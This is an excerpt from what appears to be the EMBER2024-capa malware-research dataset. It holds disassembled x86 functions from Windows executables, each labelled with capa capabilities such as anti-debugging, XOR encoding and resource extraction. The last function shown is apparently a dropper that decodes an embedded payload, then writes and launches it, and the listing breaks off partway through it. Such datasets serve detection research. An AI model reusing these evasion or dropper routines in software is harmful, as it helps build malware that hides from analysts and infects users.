joyce8/EMBER2024-capa huggingface dataset:
Function at 0x437240
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x46d988
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push ebp
mov ebp, dword [esp + 0x30]
push esi
mov ebx, ecx
push edi
mov esi, dword [ebp]
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x10]
dec ecx
cmp eax, ecx
jge 0x437279
inc eax
mov dword [esi + 0x10], eax
jmp 0x43738c
mov eax, dword [ebx + 0x3c]
mov ecx, dword [esi + 8]
cmp ecx, eax
jne 0x43728d
mov eax, 0xffffffc7
jmp 0x43738e
mov esi, dword [esi]
mov edx, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp edx, ecx
jl 0x43729e
cmp dword [esi + 8], eax
jne 0x43728d
cmp dword [esi + 8], eax
jne 0x4372b7
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp eax, ecx
jl 0x4372b7
mov eax, 0xffffffc7
jmp 0x43738e
mov eax, dword [esi + 4]
xor edi, edi
cmp eax, edi
je 0x4372cb
push eax
mov ecx, ebx
call fcn.00436a70
mov dword [esi + 4], edi
mov dword [ebp], esi
mov ecx, dword [esi + 0x10]
inc ecx
mov dword [esi + 0x10], ecx
lea ecx, [esp + 0x10]
call fcn.00407cc0
mov dword [esp + 0x2c], edi
mov edi, dword [esp + 0x3c]
test edi, edi
jne 0x4372fc
mov ecx, dword [ebx + 4]
mov edx, dword [ecx + 8]
lea ecx, [esp + 0x10]
push edx
call fcn.00407ce0
mov edi, eax
mov eax, dword [esi + 8]
push edi
push eax
mov ecx, ebx
call fcn.004361e0
test eax, eax
mov dword [esp + 0x38], eax
je 0x43732f
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0xd32f38
call fcn.00407ec0
mov eax, dword [esp + 0x38]
jmp 0x43738e
mov ecx, dword [esi + 0x10]
push ecx
push edi
mov ecx, ebx
call fcn.004370a0
mov dl, byte [edi]
and dl, 1
cmp dl, 1
jne 0x437373
mov ecx, dword [esp + 0x34]
push ebp
push ecx
push edi
push eax
mov ecx, ebx
call fcn.004370c0
mov esi, eax
test esi, esi
jne 0x4373a3
mov edx, dword [ebp]
push eax
push edi
mov ecx, ebx
mov dword [edx + 0x10], eax
call fcn.004370a0
mov cl, byte [edi]
and cl, 1
cmp cl, 1
je 0x437345
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0xd32f38
call fcn.00407ec0
xor eax, eax
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret 0xc
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0xd32f38
call fcn.00407ec0
mov eax, esi
jmp 0x43738e

Function at 0x43a4c0
Capabilities:
Create thread

Disassembly:
push ecx
cmp dword [ecx + 0xcc], 1
je 0x43a520
mov eax, dword [ecx + 0x1c]
test eax, eax
je 0x43a520
mov eax, dword [ecx + 0xb0]
test eax, eax
je 0x43a520
push esi
mov edx, 5
mov esi, dword [ecx + 0xbc]
cmp esi, edx
pop esi
je 0x43a520
mov dword [ecx + 0xb4], eax
mov dword [ecx + 0x94], 0
mov dword [ecx + 0xbc], edx
lea eax, [esp]
push eax
push 0
push ecx
push 0x43a560
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ecx
ret
Function at 0x440470
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x46dfb8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
lea eax, [esp + 0xc]
mov ecx, dword [esi + 0x1c]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
lea ecx, [esp + 0x20]
call fcn.00466df0
mov eax, dword [esi + 0xd0]
lea edx, [esp + 0x1c]
push eax
push eax
push edx
mov dword [esp + 0x44], 0
call fcn.0043fe10
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x48]
add eax, 0x64
add esp, 0xc
add ecx, 0x64
mov dword [esp + 8], eax
lea eax, [esp + 4]
mov dword [esp + 4], ecx
push eax
lea ecx, [esp + 0x20]
call fcn.00466d1e
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
push 1
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
lea eax, [edx + ecx + 1]
xor edx, edx
test eax, eax
setl dl
dec edx
mov ecx, esi
and eax, edx
push eax
push 0
push 0
call fcn.004635e2
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 8]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
xor ecx, ecx
sar edx, 4
mov eax, edx
push 1
shr eax, 0x1f
lea eax, [edx + eax + 1]
test eax, eax
setl cl
dec ecx
and eax, ecx
mov ecx, esi
push eax
push 0
push 1
call fcn.004635e2
push 1
push 0
push 0
mov ecx, esi
call fcn.0046358a
push 1
push 0
push 1
mov ecx, esi
call fcn.0046358a
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.00466e62
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret

Function at 0x4405f0
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x46dfd8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
push 0
lea ecx, [esp + 0x20]
call fcn.00466df0
push 0x3e8
lea eax, [esp + 0x20]
push 0x3e8
push eax
mov dword [esp + 0x44], 0
call fcn.0043fe10
mov ecx, dword [esi + 0x48]
mov eax, dword [esi + 0x4c]
add ecx, 0x64
add esp, 0xc
mov dword [esp + 4], ecx
lea ecx, [esp + 4]
add eax, 0x96
push ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0xc], eax
call fcn.00466d1e
mov eax, dword [esi + 0x1c]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ecx, eax
mov eax, dword [esp + 0x14]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 4]
cmp dword [esp + 0x44], 1
jne 0x4406b4
cmp dword [esp + 0x40], 1
jne 0x4406b2
cmp ecx, eax
jge 0x4406b4
mov eax, ecx
cmp eax, 0xc8
jge 0x4406c0
mov eax, 0xc8
mov ecx, esi
mov dword [esi + 0xd0], eax
call fcn.00440470
mov ecx, dword [esi + 0x1c]
push 1
push 0
push ecx
call dword [sym.imp.USER32.dll_InvalidateRect]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.00466e62
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret 8
Function at 0x440e30
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x46e043
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.00461a00
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], vtable.CBrush.0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
mov ecx, edi
call fcn.00467098
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.004685b4
test eax, eax
je 0x440f4c
mov ecx, dword [esp + 0x3c]
call fcn.004670c5
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x440f10
push edi
mov ecx, esi
call fcn.0046472d
mov ecx, esi
call fcn.004410b0
cmp dword [esp + 0x38], 1
jne 0x440f45
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.00464868
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x443970
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x4439a3
push esi
call fcn.00446a70
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x44399c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x443a29
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x443a12
mov eax, dword [esi + 8]
test eax, eax
je 0x4439c7
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x443a0e
cmp eax, 2
je 0x443a12
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x4439ba
cmp eax, 3
je 0x4439ed
cmp eax, 1
jne 0x4439ba
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x4439ba
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x4439ba
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.00443a50
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x443a38
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.00443a50
add esp, 4
pop esi
ret

Function at 0x4627f5
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x46282d
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004608ac
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00460884
jmp 0x462839
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x463eea
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x463f2c
call fcn.0046999f
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x463f2c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x463f23
xor eax, eax
jmp 0x463f34
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00463f3a
pop edi
pop esi
pop ebx
ret 4

Function at 0x469ecf
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x469efd
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x469f1b
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00469e35
jmp 0x469f1b
mov eax, dword [esi + 0x14]
test eax, eax
je 0x469f1b
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00469e35
test edi, edi
mov eax, edi
jne 0x469f05
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x402723
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, section.sect_0
call 0x402723
lcall 0x5de5, 0x8b10c483
jmp loc.0066ee58

Function at 0x4014e6
Capabilities:
Check for software breakpoints

Disassembly:
mov ecx, dword [esp + 4]
push 0xfffffffffffffffb
pop eax
mov dl, byte [eax + ecx]
cmp dl, 0x90
je 0x4014fa
cmp dl, 0xcc
jne 0x401544
inc eax
cmp eax, 0xffffffff
jle 0x4014ed
mov al, byte [ecx]
cmp al, 0x8b
je 0x40150a
cmp al, 0x89
jne 0x401544
cmp byte [ecx + 1], 0xff
jne 0x401544
mov eax, 0x40189c
mov byte [ecx - 5], 0xe9
sub eax, ecx
mov dword [ecx - 4], eax
lea eax, [ecx + 2]
mov dword [0x436a10], eax
mov eax, 0xf9eb
push 0
push 0
mov word [ecx], ax
call dword [0x42a014]
push eax
call dword [0x42a034]
mov al, 1
ret 0xc
xor al, al
jmp 0x401541
Function at 0x6d86f4
Capabilities:
Encode data using xor

Disassembly:
jmp 0x6f510c
jmp 0x6d86cb
push 0x6d873e
sub esp, 0x13
add esp, 0xb
call fcn.006d86b5
leave
sbb dh, byte [ebp + 0x64]
adc eax, dword [ebx - reloc.MSVFW32.dll_DrawDibDraw]
xor eax, 0x1ac9fffe
jne 0x6f5184
xchg edi, eax
dec byte [ebx - 0x16f7dbbc]
pop es
out dx, al
add dword [eax], eax
in eax, dx
jne 0x6f5113
invalid
sbb al, ch
outsd dx, dword [esi]
xor eax, 0xe9bcfffe
add eax, 0x3ffffe39
cmpsb byte [esi], byte es:[edi]
xor al, 0x53
scasb al, byte es:[edi]
insd dword es:[edi], dx
dec ebx
fisttp dword [ebx + 0x2e]
fstp qword [edi]
mov esi, 0xe24b2889
Function at 0x6e8c89
Capabilities:
Execute anti-debugging instructions

Disassembly:
push 0xf06d8230
jmp 0x6e8d22
jmp 0x6e8cf7
lea esp, [esp + 3]
call 0x6e8cd5
push dword [esp + 7]
push dword [esp + 5]
mov dword [esp + 0x34], edi
jmp 0x6e8d18
lea esp, [esp + 0x34]
pushfd
jmp 0x6e6e68
mov bx, dx
mov cl, byte [esp]
jmp 0x6e8d50
push eax
lea esp, [esp + 1]
lea esp, [esp + 3]
jmp 0x6e8d8f
rdtsc
cpuid
jmp 0x6e8db4
mov ebp, dword [esp + 0x2c]
mov bx, 0x232f
rcr bl, 0
js 0x6e8d78
jns 0x6e8dcd
sub esp, 0xc0
jmp 0x6e8dd3
lea esi, [esp]
mov dx, ax
lea eax, [esi + ebp]
mov ecx, 0x90029750
bsf ebx, esp
jmp 0x6e8de9
rdtsc
cpuid
jmp 0x6e8db4
mov edi, esp
neg cx
jo 0x6e8ded
jno 0x6e8ded
ror dword [ebx - 0x25], 1
mov esi, 0xec79f94d
bound eax, qword [0x70794af4]
mov bl, 0x71
mov cl, 0xe8
cmp eax, dword [ebx]
add byte [eax], al
jo 0x6e8d9e
jno 0x6e8d9e
call 0x6e912d
lea ecx, [ebx*4]
mov dx, word [esp]
mov dh, cl
setp dl
lea edx, reloc.MSVFW32.dll_DrawDibDraw
sub esp, 0
jmp 0x6e8ea5
jge 0x6e8e43
bts dx, ax
push ecx
jmp 0x6e8e52
bts dx, ax
push ecx
shr dx, 5
jmp 0x6e8e83
shr dx, 5
mov ecx, eax
neg ch
jmp 0x6e8e87
bswap eax
setbe dh
rol ebp, 0
lea edx, reloc.MSVFW32.dll_DrawDibDraw
neg eax
jmp 0x6e8e2d
mov ecx, eax
neg ch
mov eax, dword [esp + 1]
jmp 0x6e8f6f
je 0x6e9014
jne 0x6e9014
jg 0x6e8ec7
mov cl, byte [esp]
sub esp, 9
jmp 0x6e8f2a
mov cl, byte [esp]
sub esp, 9
mov dl, 0xce
bswap eax
mov cx, word [esp + 4]
lea esp, [esp + 1]
jmp 0x6e8ef6
ror ax, cl
btc eax, edi
rcl dh, cl
pushal
bsr eax, ebp
call fcn.006e8f35
jne 0x6e8ee5
add edi, esi
dec edx
mov ds, word [bx + di]
lea esp, [esp + 8]
inc ebp
cmc
jbe 0x6e8edc
ja 0x6e8f08
jp 0x6e8efc
push 0x5b49fa0f
mov dl, 0x66
ror eax, cl
ror ax, cl
btc eax, edi
rcl dh, cl
jmp 0x6e8f4b
lea esp, [esp + 0x20]
call fcn.006e8ffc
scasb al, byte es:[edi]
sub eax, 0xf037c4bd
mov eax, 0x46cbac3e
test dword [edi - reloc.MSVFW32.dll_DrawDibDraw], 0x8b66c80f
dec esp
and al, 4
mov dl, 0xce
bswap eax
mov cx, word [esp + 4]
jmp 0x6e8ed6
pushal
bsr eax, ebp
jmp 0x6e8f12
lea esp, [esp + 4]
inc ebp
mov ecx, dword [esp]
xchg cl, ah
mov ax, word [esp]
cmp ch, dl
jmp 0x6e8eb1
add ebp, 0x435a84c0
mov eax, 0xf7a8482d
lea ecx, [ecx + ecx]
setne cl
jmp 0x6e8e70

Function at 0x6e8d39
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0x6e8d00
push dword [esp]
jg 0x6e8d16
push dword [esp + 7]
push dword [esp + 5]
mov dword [esp + 0x34], edi
lea esp, [esp + 0x34]
jmp 0x6e8d1c
Function at 0x6eb505
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov bh, 0x41
mov eax, 0x52cb9a9e
jmp 0x6eb53b
ror ebp, 0
xchg ebx, eax
neg al
jp 0x6eb525
jnp 0x6eb57c
adc dword [ecx + reloc.MSVFW32.dll_DrawDibDraw], eax
rol dword [edx - 0x30], 1
mov bh, 0x42
hlt
xchg dx, ax
stc
jmp fcn.006eb566

Function at 0x6eb5aa
Capabilities:
Execute anti-debugging instructions

Disassembly:
sub esp, 0x19
push ax
inc bx
add esp, 6
lea esp, [esp + 1]
jmp 0x6eb5de
xchg dword [esp + 0x14], esi
ror edx, 0xe
sbb ax, ax
rcr bl, cl
mov bl, byte [esp]
xor dx, dx
jmp 0x6eb662
lea esi, [esi + 0x41]
mov dl, bh
mov dh, 0xce
mov ebx, 0x44cd7747
call fcn.006eb62e
Function at 0x6ed446
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0x6ed471
jmp 0x6ed4b5
movzx ebx, byte [edi - 1]
mov ax, 0x9b14
call fcn.006ed473
mov eax, dword [esp]
mov dl, bl
mov ax, 0x8702
mov eax, dword [esp]
jmp 0x6ed531
lea eax, [edx*4]
lea eax, [ecx - 0x53]
call fcn.006ed502
lea esp, [esp + 8]
xor dl, 0x21
mov al, 0xc4
lea eax, reloc.MSVFW32.dll_DrawDibDraw
jmp 0x6ed55c
xor ax, 0x3685
jg 0x6ed597
sub esp, 1
mov eax, dword [esp]
lea eax, [ebx + edi]
lea esp, [esp + 1]
jmp 0x6ed5aa
sub esp, 1
mov eax, dword [esp]
jmp 0x6ed5a3
lea eax, [ebx + edi]
lea esp, [esp + 1]
xor dl, 0x7a
jmp 0x6ed5ed
mov al, byte [esp]
inc ax
jmp 0x6edc47
ror al, 3
jge 0x6ed5d7
mov al, byte [esp]
inc ax
jmp 0x6edc47
call 0x6ed612
mov eax, ecx
bswap edx
call fcn.006ed7e5
invalid
mov eax, dword [esp]
lea eax, [esp + 0x21]
mov ah, 0x39
rcl eax, cl
jle 0x6ed645
jg 0x6ed645
clc
stc
lea edx, [edx + 0x57]
mov ah, dl
rol eax, 0xf
lea eax, [ebx*4]
jmp 0x6ed91d
bsf ax, bx
push dword [esp]
ret 4
mov ax, word [esp]
xchg dword [esp], edx
dec dl
mov dx, 0x375f
mov dx, word [esp]
lea eax, [esi - 0x4e]
jmp 0x6ed8d1
lea eax, [ecx + edx]
mov eax, 0x2aaf50b1
jmp 0x6edc1b
lea eax, [ecx + edx]
mov eax, 0x2aaf50b1
dec dl
bswap eax
jmp 0x6ed849
inc dl
mov ah, byte [esp]
cmc
jnp 0x6edc13
jp 0x6ed94b
ja 0x6edc6b
mov bx, 0x46d5
xchg bl, ah
jmp 0x6edcbc
mov bx, 0x46d5
xchg bl, ah
inc eax
mov dword [ebp], edx
btr eax, ebx
jnp 0x6edc94
jp 0x6edc9f
test byte [esi], al
xchg esp, eax
push cs
mov ebp, 0x4e2bbb36
mov ebp, 0xed831e0f
add al, 0xb6
sub byte [ebx - 0x1407ccec], cl
shl dword [esi - 0x45], 0x3c
jmp 0x6edcd5
mov bx, 0x673c
jmp 0x6edcd5
mov bx, 0x673c
btr eax, esi
jmp 0x6edcbf
inc eax
jmp 0x6edc72
mov bh, byte [esp]
lea ebx, [ecx + 0xc0]
pushfd
neg dl
jmp 0x6ee203
btr eax, esi
call fcn.006ee3b7
sub ebp, dword [edx + reloc.MSVFW32.dll_DrawDibDraw]
mov ecx, 0x78bb4829
sbb byte [ebx - 0x73], bh
inc esi
push eax
lea eax, [esi + 0x50]
mov bx, word [esp]
neg bx
js 0x6ee11b
mov bx, ax
jmp 0x6ee175
mov bx, ax
jmp 0x6ee175
jmp 0x6ee105
mov ax, bx
rdtsc
jmp 0x6ee13d
ja 0x6ed471
inc al
jmp 0x6ee157
mov ebx, esi
rcr ah, 6
jbe 0x6ee191
xor ax, 0x141b
lea edx, reloc.MSVFW32.dll_DrawDibDraw
xchg dx, ax
jmp 0x6ee1bf
jg 0x6ee11d
mov ax, bx
rdtsc
jmp 0x6ee13d
cmp ebp, eax
jbe 0x6ee133
ja 0x6ee133
lea edx, reloc.MSVFW32.dll_DrawDibDraw
xchg dx, ax
jmp 0x6ee1bf
xor ax, 0x141b
jmp 0x6ee17b
stc
jmp 0x6ee19e
rcl dx, 7
mov dx, cx
sub eax, ebx
jno 0x6ee1e5
cmc
setno dh
setbe dl
mov edx, eax
sub esp, 0x1c
jmp 0x6ee1ec
lea eax, [esi + 0x40]
btc dx, di
jl 0x6ee197
stc
rcl dx, 7
jmp 0x6ee1a2
cmc
setno dh
setbe dl
jmp 0x6ee1e7
jmp 0x6ee1cf
mov edx, eax
sub esp, 0x1c
lea edx, [ebp - 0x80]
call 0x6ee448
sti
imul ecx, dword [esi], reloc.MSVFW32.dll_DrawDibDraw
dec ebp
dec ebp
fdiv qword [edx + 0x15]
in al, 0x51
test eax, 0x890f6bc8
enter 0xf6b, 0xffffffffffffff89
jns 0x6edceb
loop 0x6ee201
invalid
js 0x6edceb
sub esp, 0xb
lea esp, [esp + 3]
xchg dword [esp + 0xc], ebp
call fcn.006ee280
cmp byte [0x11e69f0c], 0xe8
in eax, 0xff
invalid
Function at 0x6ed473
Capabilities:
Execute anti-debugging instructions

Disassembly:
pushfd
pop word [esp + 2]
lea esp, [esp + 2]
jmp 0x6ed493
lea eax, reloc.MSVFW32.dll_DrawDibDraw
lea edx, [esp + edx]
mov ax, word [esp]
lea edx, [ebx + edi]
jmp 0x6ed580
mov eax, 0x9fd36341
jmp 0x6ed4c2
add bl, cl
sbb dl, bh
jo 0x6ed4e1
mov eax, 0x9fd36341
mov eax, dword [esp]
jmp 0x6ed4c5

Function at 0x6ed502
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea eax, [esi*4]
not ax
sub esp, 9
js 0x6ed511
bsf eax, ebx
jmp 0x6ed556
lea esp, [esp + 4]
dec dl
lea eax, [esi*4]
jmp 0x6ed4e8
bsf eax, ebx
jmp 0x6ed51a
lea esp, [esp + 1]
jmp 0x6ed540
lea esp, [esp + 1]
jmp 0x6ed540

Function at 0x6eeb3e
Capabilities:
Execute anti-debugging instructions

Disassembly:
add eax, 0xad097d4f
jmp 0x6eec46
add eax, 0x7f8b389a
jmp 0x6eec4d
inc bl
bswap edx
bswap edx
rdtsc
mov dl, dh
mov dl, al
jmp 0x6eeb74
lea esp, [esp + 4]
jmp 0x6eeb28
mov al, byte [esp]
rdtsc
jmp 0x6eebf4
mov eax, 0xf1bc3b70
bsf edx, ebp
js 0x6eeb44
mov al, byte [esp]
jmp 0x6eeb86
lea edx, [ebp + ebp]
pushal
lea esp, [esp + 0x20]
sub bl, 0xe0
mov ax, 0x7d51
jmp 0x6eeb5a
rdtsc
jmp 0x6eebf4
mov eax, ebx
mov dl, ch
call 0x6eeb94
lea edx, ss:reloc.MSVFW32.dll_DrawDibDraw
xchg word [esp], dx
jmp 0x6eebd7
lea esp, [esp + 2]
jmp 0x6ecdb1
shl eax, 2
push ax
setbe dh
mov dh, byte [esp + 1]
bsf dx, si
jmp 0x6eec84
add bl, 0x20
not ax
mov eax, dword [esp]
mov ah, 0xd5
jmp 0x6eeb8a
not dh
pop dword [esp + 1]
lea esp, [esp + 3]
jmp 0x6eec21
not dh
pop dword [esp + 1]
lea esp, [esp + 3]
jmp 0x6eec63
mov edx, dword [esp]
lea edx, [ecx - 0x52]
jmp 0x6ece03
lea edx, [ecx - 0x52]
jmp 0x6ece03
sub esp, 0x17
jl 0x6eec17
jge 0x6eec01
setle dl
not dl
mov dl, bh
jmp 0x6eeca9
mov eax, dword [eax + reloc.MSVFW32.dll_DrawDibDraw]
inc dx
jle 0x6eec23
mov edx, dword [esp]
jmp 0x6eec2f
jge 0x6eebc1
lea esp, [esp + 2]
jmp 0x6ecdb1
jmp 0x6eecb8
mov esp, esi
lea edx, [ebx*4]
inc dh
jb 0x6eec93
jae 0x6eec93
sub dx, bp
jge 0x6eecee
pushfd
mov byte [esp + 2], bl
jmp 0x6eecf5
xchg dword [esp], edx
mov dword [esp], eax
jmp 0x6eecce
Function at 0x401026
Capabilities:
Create process on windows
Delete file
Read file on windows
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov edx, section..text
push edi
push esi
push ebx
sub esp, 0x574
lea ecx, [esp + 0x64]
cmp edx, entry0
jae 0x40104c
movzx eax, byte [edx]
inc edx
xor al, 0xd9
mov byte [ecx], al
inc ecx
jmp 0x401039
mov byte [ecx], 0
lea esi, [esp + 0x64]
push esi
push 1
push 0
call 0x401220
push 0x104
lea ebx, [esp + 0x468]
push ebx
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push ebx
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
push 0
push 0xffffffffffffff9c
push eax
call sub.KERNEL32.dll_SetFilePointer
push 0
lea ebp, [esp + 4]
push ebp
push 0x64
push esi
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea edx, [esp + 0x65]
lea ecx, [esp + 0xc7]
cmp edx, ecx
jae 0x4010d4
movzx eax, byte [esp + 0x64]
xor byte [edx], al
inc edx
jmp 0x4010c6
lea edx, [esp + 0x14]
lea eax, [esp + 0x58]
cmp edx, eax
jae 0x4010e6
mov byte [edx], 0
inc edx
jmp 0x4010dc
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x8d]
push eax
call sub.KERNEL32.dll_CreateProcessA
test eax, eax
jne 0x401205
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x47c]
push eax
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
mov eax, 0xffffff9c
push 0
sub eax, dword [esp + 0x6d]
push eax
push ebx
call sub.KERNEL32.dll_SetFilePointer
push 0
push ebp
push dword [esp + 0x6d]
push dword [esp + 0x71]
push 0
call sub.KERNEL32.dll_GetProcessHeap
push eax
call sub.KERNEL32.dll_HeapAlloc
push eax
mov esi, eax
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
mov eax, esi
mov edx, esi
add eax, dword [esp + 0x65]
cmp esi, eax
jae 0x40119b
movzx eax, byte [esp + 0x64]
xor byte [edx], al
mov eax, esi
inc edx
add eax, dword [esp + 0x65]
cmp edx, eax
jmp 0x401187
push pe_nt_image_headers32
lea edi, [esp + 0x6d]
push edi
call sub.KERNEL32.dll_SetFileAttributesA
push edi
call sub.KERNEL32.dll_DeleteFileA
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push edi
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 0
push ebp
